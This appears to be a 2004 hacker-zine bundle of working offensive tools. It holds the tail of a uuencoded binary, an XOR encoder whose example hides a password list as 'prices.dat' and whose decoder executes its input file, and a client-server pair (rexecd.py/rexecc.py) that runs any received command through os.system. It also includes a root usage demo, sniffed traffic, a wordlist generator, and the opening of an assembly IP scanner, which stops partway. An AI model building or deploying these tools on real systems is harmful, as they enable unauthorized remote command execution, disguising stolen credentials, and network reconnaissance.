M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````5U!`````````````G!I``*0V0`![14````````````!*
M-T``````````````````````````````````&!1```(````"````6&1```@`
M```L9$``"0````!D0``*````:&-``!`````X8T``$0````AC0``2````Y&)`
M`!,```"X8D``&````(!B0``9````6&)``!H````@8D``&P```.AA0``<````
MP&%``'@```"P84``>0```*!A0`!Z````D&%``/P```",84``_P```'QA0``%
M``#`"P`````````=``#`!`````````"6``#`!`````````"-``#`"```````
M``".``#`"`````````"/``#`"`````````"0``#`"`````````"1``#`"```
M``````"2``#`"`````````"3``#`"``````````#````!P````H```",````
M_____X`*```0``````````$````6`````@````(````#`````@````0````8
M````!0````T````&````"0````<````,````"`````P````)````#`````H`
M```'````"P````@````,````%@````T````6````#P````(````0````#0``
M`!$````2````$@````(````A````#0```#4````"````00````T```!#````
M`@```%`````1````4@````T```!3````#0```%<````6````60````L```!L
M````#0```&T````@````<````!P```!R````"0````8````6````@`````H`
M``"!````"@```((````)````@P```!8```"$````#0```)$````I````G@``
M``T```"A`````@```*0````+````IP````T```"W````$0```,X````"````
MUP````L````8!P``#````,".0```````P(Y```$!```````````````0````
M`````````````````````@````$`````````````````````````````````
M```"`````@``````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````````````````````````````$[F0+L``````0($
M"`````"D`P``8()Y@B$`````````IM\```````"AI0```````(&?X/P`````
M0'Z`_`````"H`P``P:/:HR```````````````````````````````('^````
M````0/X```````"U`P``P:/:HR```````````````````````````````('^
M````````0?X```````"V`P``SZ+DHAH`Y:+HHEL`````````````````````
M`('^````````0'ZA_@````!1!0``4=I>VB``7]IJVC(`````````````````
M`````('3V-[@^0``,7Z!_@`````:9T``(FE```$````@!9,9````````````
M``````````$````N`````0``````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
)````````````
`
end
sum -r/size 9105/36864
---< cut here >---
II. encode.py by best_mowi
---< cut here >---
#!/usr/bin/env python
#
# encode.py v2.0.0 (c) 2004 by best_mowi
#
# for news, see code..
""" file encoder | decoder """
__program__ = "encode.py"
__version__ = "2.0.0"
__copyright__ = "copyright (c) 2004 best_mowi"
__author__ = "best_mowi <[email protected]>"
__license__ = "GPL (GNU GENERAL PUBLIC LICENSE)"
try: import errno
except Exception: print " `errno' module import error!"
try: import sys
except Exception: print " `sys' module import error!"
try: import math
except Exception: print " `math' module import error!"
try: import os
except Exception: print " `os' module import error!"
try: import getopt
except Exception: print "`getopt' module import error!"
key = [
0x07a69, \
0x00310, \
0x0002d, \
0x00061, \
0xa5a70, \
0x000e7, \
0x0045d, \
0x01939, \
0x00af7
]
def show(prompt):
print >> sys.stderr, prompt
def head():
show(" ,---:")
show("[*] %s: file encoder|decoder v2.0.0" % (__program__))
show("[*] coded by %s " % (__author__))
show(" >---:")
def usage():
show("Usage: ./%s [options]" % (__program__))
show("Valid options:")
show(" -v --version print version and exit")
show(" -h --help print usage and exit")
show(" -m --mode choose working mode: \"e\" (encryption) or \"d\" (decryption)")
show(" -i --input choose your input file")
show(" -o --output choose your output file")
show("Usage example: %s -m e -i passwords.lst -o prices.dat" % (__program__))
show(" %s -m d -i prices.dat -o passwords.tmp" % (__program__))
sys.exit(0)
def bin2dec(bin):
binary_str_1 = ""
binary_int_1 = 0
length = len(bin)
while (length > 0):
binary_str_1 += bin[length - 1]
length -= 1
for loop_1 in xrange(0, len(binary_str_1)):
binary_int_1 += ((int(binary_str_1[loop_1])) * (int(math.pow(2, loop_1))))
return binary_int_1
def dec2bin(dec):
dec = int(dec)
binary_str_1 = ""
binary_str_2 = ""
if ((dec) == 0):
binary_str_2 = 0
while ((dec) > 1):
if (((dec) % 2) == 0):
binary_str_1 += "0"
else:
binary_str_1 += "1"
dec -= 1
dec = ((dec) / 2)
if ((dec) == 1):
binary_str_1 += "1"
length = len(binary_str_1)
while (length > 0):
binary_str_2 += binary_str_1[length - 1]
length -= 1
return binary_str_2
def get4bin(stream):
global count4ex
count4ex = 0
list = []
for loop in xrange(0, len(stream)):
r_len = len(str(dec2bin(ord(stream[loop]))))
f_len = 9 - (r_len)
if ((f_len) == 8):
list.append("00000000" + str(dec2bin(ord(stream[loop]))))
count4ex += 1
elif ((f_len) == 7):
list.append("0000000" + str(dec2bin(ord(stream[loop]))))
count4ex += 1
elif ((f_len) == 6):
list.append("000000" + str(dec2bin(ord(stream[loop]))))
count4ex += 1
elif ((f_len) == 5):
list.append("00000" + str(dec2bin(ord(stream[loop]))))
count4ex += 1
elif ((f_len) == 4):
list.append("0000" + str(dec2bin(ord(stream[loop]))))
count4ex += 1
elif ((f_len) == 3):
list.append("000" + str(dec2bin(ord(stream[loop]))))
count4ex += 1
elif ((f_len) == 2):
list.append("00" + str(dec2bin(ord(stream[loop]))))
count4ex += 1
elif ((f_len) == 1):
list.append("0" + str(dec2bin(ord(stream[loop]))))
count4ex += 1
return list
def get4xor(target_list):
xor_list = []
for loop in xrange(0, len(target_list)):
mem_list = target_list[loop]
for loop_2 in xrange(0, 9):
if (loop_2 == 0):
xor_list.append(int(mem_list[loop_2]) ^ key[0])
elif (loop_2 == 1):
xor_list.append(int(mem_list[loop_2]) ^ key[1])
elif (loop_2 == 2):
xor_list.append(int(mem_list[loop_2]) ^ key[2])
elif (loop_2 == 3):
xor_list.append(int(mem_list[loop_2]) ^ key[3])
elif (loop_2 == 4):
xor_list.append(int(mem_list[loop_2]) ^ key[4])
elif (loop_2 == 5):
xor_list.append(int(mem_list[loop_2]) ^ key[5])
elif (loop_2 == 6):
xor_list.append(int(mem_list[loop_2]) ^ key[6])
elif (loop_2 == 7):
xor_list.append(int(mem_list[loop_2]) ^ key[7])
elif (loop_2 == 8):
xor_list.append(int(mem_list[loop_2]) ^ key[8])
return xor_list
def unshadow(raw_list):
global count4ex
count4ex = 0
dec_list_one = []
dec_list_two = []
for loop in xrange(0, (len(raw_list) / 9)):
dec_list_two.append(raw_list[(loop * 9):((loop * 9) + 9)])
dec_list_one.append(dec_list_two)
dec_list_two = []
count4ex += 1
return dec_list_one
def get4rexor(unshadow_list):
bin_list = []
bin_str = ""
for loop in xrange(0, len(unshadow_list)):
mem_unshadow_list = unshadow_list[loop]
for loop_2 in xrange(0, len(mem_unshadow_list)):
for loop_3 in xrange(0, 9):
if (loop_3 == 0):
bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[0])
elif (loop_3 == 1):
bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[1])
elif (loop_3 == 2):
bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[2])
elif (loop_3 == 3):
bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[3])
elif (loop_3 == 4):
bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[4])
elif (loop_3 == 5):
bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[5])
elif (loop_3 == 6):
bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[6])
elif (loop_3 == 7):
bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[7])
elif (loop_3 == 8):
bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[8])
bin_list.append(bin_str)
bin_str = ""
return bin_list
def get4str(enc_bin_list):
dec_str_data = ""
for loop in xrange(0, len(enc_bin_list)):
mem_enc_bin_list = enc_bin_list[loop]
chrcode = bin2dec(mem_enc_bin_list)
dec_str_data += chr(chrcode)
return dec_str_data
def crypt(raw_data):
return get4xor(get4bin(raw_data))
def decrypt(enc_data):
return get4str(get4rexor(unshadow(enc_data)))
def encode(file_input, file_output):
try:
fi = open(file_input, "rb")
except IOError:
show("%s: cannot open target file!" % os.strerror(errno.EIO))
sys.exit(-1)
try:
fo = open(file_output, "w")
except IOError:
show("%s: cannot open target file!" % os.strerror(errno.EIO))
sys.exit(-1)
head()
cfi = fi.read()
fo.write("sorted_prices = " + str(crypt(cfi)))
fi.close()
fo.close()
show("[*] input file-> %s" % (file_input))
show("[*] output file-> %s" % (file_output))
show("[*] encoded-> %i bytes" % (count4ex))
show(" >---:")
show("[*] check result..")
show(" `---:")
sys.exit(0)
def decode(file_input, file_output):
unknown = {}
try:
fi = open(file_input, "rb")
except IOError:
show("%s: cannot open target file!" % os.strerror(errno.EIO))
sys.exit(-1)
try:
fo = open(file_output, "wb")
except IOError:
show("%s: cannot open target file!" % os.strerror(errno.EIO))
sys.exit(-1)
head()
execfile(file_input, unknown)
dec_data = decrypt(unknown['sorted_prices'])
fo.write(dec_data)
fi.close()
fo.close()
show("[*] input file-> %s" % (file_input))
show("[*] output file-> %s" % (file_output))
show("[*] decoded-> %i bytes" % (count4ex))
show(" >---:")
show("[*] check result..")
show(" `---:")
sys.exit(0)
def main():
try:
_mode = ""
_input = ""
_output = ""
(optlist, args) = getopt.getopt(sys.argv[1:], "vhm:i:o:",\
["version", "help", "mode=", "input=", "output="])
for option, argument in optlist:
if ((option) in ("-v", "--version")):
show("%s version %s" % (__program__, __version__))
show("%s" % (__copyright__))
return
elif ((option) in ("-h", "--help")):
usage()
return
elif ((option) in ("-m", "--mode")):
_mode = argument
elif ((option) in ("-i", "--input")):
_input = argument
elif ((option) in ("-o", "--output")):
_output = argument
except getopt.GetoptError:
show("%s!" % os.strerror(errno.EINVAL))
sys.exit(-1)
except KeyboardInterrupt:
show("%s!" % os.strerror(errno.EINTR))
sys.exit(-1)
if ((_mode == "e") and ((len(_input) > 0) and (len(_output) > 0))):
encode(_input, _output)
if ((_mode == "d") and ((len(_input) > 0) and (len(_output) > 0))):
decode(_input, _output)
if ((len(sys.argv)) == 1):
usage()
return
sys.exit(0)
if (__name__=="__main__"): main()
---< cut here >---
III. rexecd.py, rexecc.py by best_mowi
III.I rexecd.py
---< cut here >---
#!/usr/bin/env python
#
# rexecd.py - server part
#
# Execute bash/cmd commands remotely for security or
# cracking tasks (with rotor-based encryption algorithm).
#
# Copyright (c) 2004 best_mowi
#
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
""" REXEC - SERVER PART PROGRAM """
import socket
import warnings
import getopt
import sys
import os
from time import *
warnings.filterwarnings("ignore", \
category = DeprecationWarning, \
message = ".*is deprecated", \
module = __name__)
import rotor
__program__ = "rexecd.py"
__version__ = "0.0.1"
__copyright__ = "copyright (c) 2004 best_mowi"
__author__ = "best_mowi <[email protected]>"
__license__ = "GPL (GNU GENERAL PUBLIC LICENSE)"
server_address = "127.0.0.1"
server_port = 120
log_file = "rexecd.log"
buffer_size = 1024
posix_platform = "posix"
mswin_platform = "nt"
private_key = "private_key"
def show(prompt):
print >> sys.stderr, prompt
def usage():
show("Usage: ./%s [options]" % (__program__))
show("Valid options:")
show(" -v --version print version and exit")
show(" -h --help print usage and exit")
show(" -a --address choose server address [\"127.0.0.1\"]")
show(" -p --port choose bind-port [120]")
sys.exit(0)
def rotor_crypt(data_stream):
rotor_obj = rotor.newrotor(private_key, 12)
crypt_data_stream = rotor_obj.encrypt(data_stream)
return crypt_data_stream
def rotor_decrypt(crypt_data_stream):
rotor_obj = rotor.newrotor(private_key, 12)
data_stream = rotor_obj.decrypt(crypt_data_stream)
return data_stream
def serv(addr, port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((addr, port))
sock.listen(1)
while (True):
conn, address = sock.accept()
tt = localtime(time())
td = strftime("%d.%m.%Y. %H:%M:%S", tt)
fd = open(log_file, "a")
fd.write("Time-> " + td + "\n")
fd.write("Connected from-> " + str(address) + "\n")
request = ""
while True:
data = conn.recv(buffer_size)
if (not data):
break
request = request + data
uncrypt_request = rotor_decrypt(request)
replay = temp(uncrypt_request)
crypt_data = rotor_crypt(replay)
conn.send(crypt_data)
conn.close()
fd.write("Sended request-> " + request + "\n")
fd.write("Disconnected from-> " + str(address) + "\n\n")
fd.close()
except socket.error:
show("Socket error")
sys.exit(-1)
except KeyboardInterrupt:
show("Process halted")
sys.exit(-1)
except IOError:
show("Iinput/output error")
sys.exit(-1)
def temp(request):
os.system(request + " >> temp")
fd = open("temp", "r")
obj = fd.read()
fd.close()
if (os.name == mswin_platform):
os.system("erase temp")
elif (os.name == posix_platform):
os.system("rm temp")
return obj
def main():
try:
_addr = server_address
_port = server_port
(optlist, args) = getopt.getopt(sys.argv[1:], "vha:p:", \
["version", "help", "address=", "port="])
for option, argument in optlist:
if ((option) in ("-v", "--version")):
show("%s version %s" % (__program__, __version__))
show("%s" % (__copyright__))
return
elif ((option) in ("-h", "--help")):
usage()
return
elif ((option) in ("-p", "--port")):
_port = argument
elif ((option) in ("-a", "--address")):
_addr = argument
serv(_addr, int(_port))
sys.exit(0)
except getopt.GetoptError:
show("Invalid argument")
sys.exit(-1)
except ValueError:
show("Value error")
sys.exit(-1)
except TypeError:
show("Type error: may be invalid arguments")
sys.exit(-1)
if (__name__ == "__main__"): main()
---< cut here >---
III.II rexecc.py
---< cut here >---
#!/usr/bin/env python
#
# rexecc.py - client part
#
# Execute bash/cmd commands remotely for security or
# cracking tasks (with rotor-based encryption algorithm).
#
# Copyright (c) 2004 best_mowi
#
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
""" REXEC - CLIENT PART PROGRAM """
import errno
import socket
import sys
import os
import string
import warnings
warnings.filterwarnings("ignore", \
category = DeprecationWarning, \
message = ".*is deprecated", \
module = __name__)
import rotor
__program__ = "rexecc.py"
__version__ = "0.0.1"
__copyright__ = "copyright (c) 2004 best_mowi"
__author__ = "best_mowi <[email protected]>"
__license__ = "GPL (GNU GENERAL PUBLIC LICENSE)"
server_address = "127.0.0.1"
server_port = 120
execute_command = string.join(sys.argv[1:])
buffer_size = 1024
how_code = 1
private_key = "private_key"
def show(prompt):
print >> sys.stderr, prompt
def usage():
show("Usage: ./%s [command]" % (__program__))
def rotor_crypt(data_stream):
rotor_obj = rotor.newrotor(private_key, 12)
crypt_data_stream = rotor_obj.encrypt(data_stream)
return crypt_data_stream
def rotor_decrypt(crypt_data_stream):
rotor_obj = rotor.newrotor(private_key, 12)
data_stream = rotor_obj.decrypt(crypt_data_stream)
return data_stream
def main():
try:
if (len(sys.argv) == 1):
usage()
sys.exit(-1)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((server_address, server_port))
print "-> [*] RUN REMOTE CLIENT... <---"
print "-> [*] CONNECTED TO SERVER! <---"
print "-> [*] EXECUTING COMMAND... <---\n"
crypt_execute_command = rotor_crypt(execute_command)
sock.send(crypt_execute_command)
sock.shutdown(how_code)
replay = ""
while (True):
data = sock.recv(buffer_size)
if (not data):
break
replay = replay + data
uncrypt_replay = rotor_decrypt(replay)
print uncrypt_replay,
print "\n-> [*] SYSTEM EXIT! <-----------"
except socket.error:
show("Socket error")
sys.exit(-1)
sys.exit(0)
if (__name__ == "__main__"): main()
---< cut here >---
III.III rexec: usage example
%$@! on first console:
root@localhost Rexec# pwd
/root/Documents/Rexec
root@localhost Rexec# python rexecd.py
%$@! on second console:
root@localhost Rexec# pwd
/home/best_mowi/Documents/Rexec
root@localhost Rexec# ls -la
итого 12
drwxr-xr-x 2 root root 4096 Окт 25 18:36 ./
drwxr-xr-x 5 best_mowi best_mowi 4096 Окт 25 18:32 ../
-rwxrwxrwx 1 root root 3112 Окт 25 17:59 rexecc.py*
root@localhost Rexec# python rexecc.py ls -la
-> [*] RUN REMOTE CLIENT... <---
-> [*] CONNECTED TO SERVER! <---
-> [*] EXECUTING COMMAND... <---
итого 16
drwxr-xr-x 2 root root 4096 Окт 25 18:37 .
drwxr-xr-x 3 root root 4096 Окт 25 18:36 ..
-rw-r--r-- 1 root root 0 Окт 25 18:37 rexecd.log
-rwxrwxrwx 1 root root 5097 Окт 25 18:27 rexecd.py
-rw-r--r-- 1 root root 0 Окт 25 18:37 temp
-> [*] SYSTEM EXIT! <-----------
III.IV rexec: report from netwox (trafic sniffing results)
III.IV.I work session of "rexec" without "rotor" trafic encryption
in >
---< skiped >---
TCP_____________________________________________________________________.
| source port | destination port |
|___________0x8004=32772____________|___________0xDEAD=57005____________|
| seqnum |
|_________________________0xE19FF3E6=3785356262_________________________|
| acknum |
|_________________________0xE1B8DE92=3786989202_________________________|
| doff |reserved CwEcUrAc PsRsSyFi| window |
|___8____|0_0_0_0__0_0_0_1__1_0_0_0_|___________0x7FFF=32767____________|
| checksum | urgptr |
|___________0x278C=10124____________|_____________0x0000=0______________|
._______________________________________________________________________.
|_____0x01=1______|_____0x01=1______|_____0x08=8______|_____0x0A=10_____|
|_____0x00=0______|_____0x00=0______|____0xB8=184_____|_____0x17=23_____|
|_____0x00=0______|_____0x00=0______|____0xB8=184_____|_____0x15=21_____|
6c 73 # ls
---< skiped >---
out >
---< skiped >---
TCP_____________________________________________________________________.
| source port | destination port |
|___________0xDEAD=57005____________|___________0x8004=32772____________|
| seqnum |
|_________________________0xE1B8DE92=3786989202_________________________|
| acknum |
|_________________________0xE19FF3E9=3785356265_________________________|
| doff |reserved CwEcUrAc PsRsSyFi| window |
|___8____|0_0_0_0__0_0_0_1__1_0_0_0_|___________0x7FFF=32767____________|
| checksum | urgptr |
|___________0x2844=10308____________|_____________0x0000=0______________|
._______________________________________________________________________.
|_____0x01=1______|_____0x01=1______|_____0x08=8______|_____0x0A=10_____|
|_____0x00=0______|_____0x00=0______|____0xB8=184_____|_____0x1D=29_____|
|_____0x00=0______|_____0x00=0______|____0xB8=184_____|_____0x18=24_____|
72 65 78 65 63 63 2e 70 79 0a 72 65 78 65 63 64 # rexecc.py.rexecd
2e 6c 6f 67 0a 72 65 78 65 63 64 2e 70 79 0a 74 # .log.rexecd.py.t
65 6d 70 0a # emp.
---< skiped >---
III.IV.I work session of "rexec" with "rotor" trafic encryption
in >
---< skiped >---
TCP_____________________________________________________________________.
| source port | destination port |
|___________0x800A=32778____________|____________0x0078=120_____________|
| seqnum |
|_________________________0xF69B24B1=4137362609_________________________|
| acknum |
|_________________________0xF755D428=4149597224_________________________|
| doff |reserved CwEcUrAc PsRsSyFi| window |
|___8____|0_0_0_0__0_0_0_1__1_0_0_0_|___________0x7FFF=32767____________|
| checksum | urgptr |
|___________0xA03B=41019____________|_____________0x0000=0______________|
._______________________________________________________________________.
|_____0x01=1______|_____0x01=1______|_____0x08=8______|_____0x0A=10_____|
|_____0x00=0______|_____0x01=1______|___0x3E='>'=62___|___0x3F='?'=63___|
|_____0x00=0______|_____0x01=1______|___0x3E='>'=62___|___0x3D='='=61___|
74 a9 # t.
---< skiped >---
out >
---< skiped >---
TCP_____________________________________________________________________.
| source port | destination port |
|____________0x0078=120_____________|___________0x800A=32778____________|
| seqnum |
|_________________________0xF755D428=4149597224_________________________|
| acknum |
|_________________________0xF69B24B4=4137362612_________________________|
| doff |reserved CwEcUrAc PsRsSyFi| window |
|___8____|0_0_0_0__0_0_0_1__1_0_0_0_|___________0x7FFF=32767____________|
| checksum | urgptr |
|___________0xBCBE=48318____________|_____________0x0000=0______________|
._______________________________________________________________________.
|_____0x01=1______|_____0x01=1______|_____0x08=8______|_____0x0A=10_____|
|_____0x00=0______|_____0x01=1______|___0x3E='>'=62___|___0x45='E'=69___|
|_____0x00=0______|_____0x01=1______|___0x3E='>'=62___|___0x40='@'=64___|
e9 f3 60 4a fc 31 b9 37 a3 93 76 71 05 6d b9 da # ..`J.1.7..vq.m..
62 5d 80 1c 22 60 ca 34 04 1f ec 25 c0 bc 77 c3 # b].."`.4...%..w.
62 e9 2e 33 ba 7a 55 e0 8b 8b c3 e3 96 3e # b..3.zU......>
---< skiped >---
IV. glw.py by best_mowi
---< cut here >---
#!/usr/bin/env python
#
# glw.py - gottaz leetz wordlistazz (c) 2004 by best_mowi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
__program__ = "glw.py"
__version__ = "0.0.2"
__copyright__ = "copyright (c) 2004 best_mowi"
__author__ = "best_mowi <[email protected]>"
__license__ = "GPL (GNU GENERAL PUBLIC LICENSE)"
import whrandom
import os
import getopt
import sys
def usage():
def show(prompt):
print >> sys.stderr, prompt
show("Usage: ./%s [options]" % (__program__))
show("Valid options:")
show(" -v --version print version and exit")
show(" -h --help print usage and exit")
show(" -l --lenght choose word lenght []")
show(" -q --quantity choose passwd. quantity []")
show("Usage example: ./%s -l 5 -q 12" % (__program__))
show(" ./%s -l 7 -q 21" % (__program__))
sys.exit(0)
def base():
sym00 = ""
set00 = [
"abcdefghijklmnopqrstuvwxyz", \
"ABCDEFGHIJKLMNOPQRSTUVWXYZ", \
"~!@#$%^&*()_+`-=':;/.,?><\"\\", \
"0123456789"
]
num00 = whrandom.randrange(0, 4, 1)
if (num00 == 0):
sym00 = set00[0][whrandom.randrange(0, 26, 1)]
elif (num00 == 1):
sym00 = set00[1][whrandom.randrange(0, 26, 1)]
elif (num00 == 2):
sym00 = set00[2][whrandom.randrange(0, 27, 1)]
elif (num00 == 3):
sym00 = set00[3][whrandom.randrange(0, 10, 1)]
return sym00
def gen(len, qnt, file = "wordlist.lst"):
try:
res = open(file, "w")
except IOError:
print os.strerror(errno.EIO)+"!"
sys.exit(-1)
def wrs(seq):
for loop in range(seq):
res.write(base())
res.write("\n")
for loop in range(0, qnt):
wrs(len)
res.close()
print ""
print " ~*~ *- Gottaz Leetz Wordlistazz -* ~*~\n"
print " Word length -> " + str(len)
print " Passwd. quantity -> " + str(qnt)
print " Check -> wordlist.lst\n"
print " ~*~ *----------------------------* ~*~"
sys.exit(0)
def main():
try:
_len = ""
_qnt = ""
(optlist, args) = getopt.getopt(sys.argv[1:], "vhl:q:",\
["version", "help", "lenght=",\
"quantity="])
for option, argument in optlist:
if ((option) in ("-v", "--version")):
print >> sys.stderr, "%s version %s" % (__program__, __version__)
print >> sys.stderr, "%s" % (__copyright__)
return
elif ((option) in ("-h", "--help")):
usage()
return
elif ((option) in ("-l", "--lenght")):
_len = argument
elif ((option) in ("-q", "--quantity")):
_qnt = argument
if ((len(sys.argv)) == 1):
usage()
if ((int(_len) > 0) and (int(_qnt) > 0)):
gen(int(_len), int(_qnt))
sys.exit(0)
except getopt.GetoptError:
print "Invalid argument!"
sys.exit(-1)
except ValueError:
print "Value error!"
sys.exit(-1)
if (__name__=="__main__"): main()
---< cut here >---
V. ips.asm by shmel
V.I ips.asm
---< cut here >---
;
; Ip Scaner
; Copyright (c) 2004 Shmel
;
; This program is free software; you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation; either version 2 of the License, or
; (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with this program; if not, write to the Free Software
; Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
;
.386
.model flat,stdcall
option casemap:none
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
ThreadProc PROTO :DWORD
WorkThreadProc PROTO :DWORD
IPtoString PROTO :DWORD,:DWORD
include windows.inc
include masm32.inc
include user32.inc
include kernel32.inc
include gdi32.inc
include comctl32.inc
include ws2_32.inc
include comdlg32.inc
includelib masm32.lib
includelib gdi32.lib
includelib user32.lib
includelib kernel32.lib
includelib comctl32.lib
includelib ws2_32.lib
includelib comdlg32.lib
makeIP MACRO arg1, arg2
push eax
mov eax , arg1
mov arg2, eax
mov al, BYTE PTR arg2[0]
mov ah, BYTE PTR arg2[3]
mov BYTE PTR arg2[3], al
mov BYTE PTR arg2[0], ah
mov al, BYTE PTR arg2[1]
mov ah, BYTE PTR arg2[2]
mov BYTE PTR arg2[2], al
mov BYTE PTR arg2[1], ah
pop eax
ENDM
IPstrlen MACRO arg1, arg2
mov arg2, 4
mov al, BYTE PTR arg1[0]
.if al <= 9
inc arg2
.elseif al <=99
add arg2, 2
.else
add arg2, 3
.endif
mov al,BYTE PTR arg1[1]
.if al <= 9
inc arg2
.elseif al <=99
add arg2, 2
.else
add arg2, 3
.endif
mov al,BYTE PTR arg1[2]
.if al <= 9
inc arg2
.elseif al <=99
add arg2, 2
.else
add arg2, 3
.endif
mov al,BYTE PTR arg1[3]
.if al <= 9
inc arg2
.elseif al <=99
add arg2, 2
.else
add arg2, 3
.endif
ENDM
AddNewLine MACRO MemPtr
LOCAL nozero, loop1, nl
mov edi, MemPtr
dec edi
mov dl, 20h
mov ecx, 62
loop1:
mov al, [edi]
test al, al
jnz nozero
mov [edi], dl
nozero:
inc edi
loop loop1
nl:
inc edi
mov dx, 0a0dh
mov [edi], dx
ENDM
.data
ThreadCounter dd 0
ThreadID dd 0
IP1 dd 0h
IP2 dd 0h
ClassName db "DLGCLASS",0
DlgName db "IPS",0
AppName db "IPS",0
IPAdressClass db "SysIPAddress32", 0
ProgressClass db "msctls_progress32", 0
Err db "Error", 0
error_incorrectIP db "Incorrect Start/End IP", 0
error_socknotopen db "Can't open socket", 0
error_wsanotinit db "WSA not initialized", 0
error_cantallocatemem db "Can't allocate memory", 0
error_notsaved db "File not saved", 0
not_found db ">>>>>>>>>not found<<<<<<<<<", 0
mes1 db "Scan completed", 0
TimeBuff db 5 dup(0)
TimeMes1 db "Time: ", 0
TimeMes2 db " sec", 0
FilterString db "Text Files", 0, "*.txt", 0
db "All Files", 0, "*.*", 0, 0
.data?
buff db 32 dup(?)
IPRange dd ?
HwndIP2 dd ?
Time dd ?
hMemory HANDLE ?
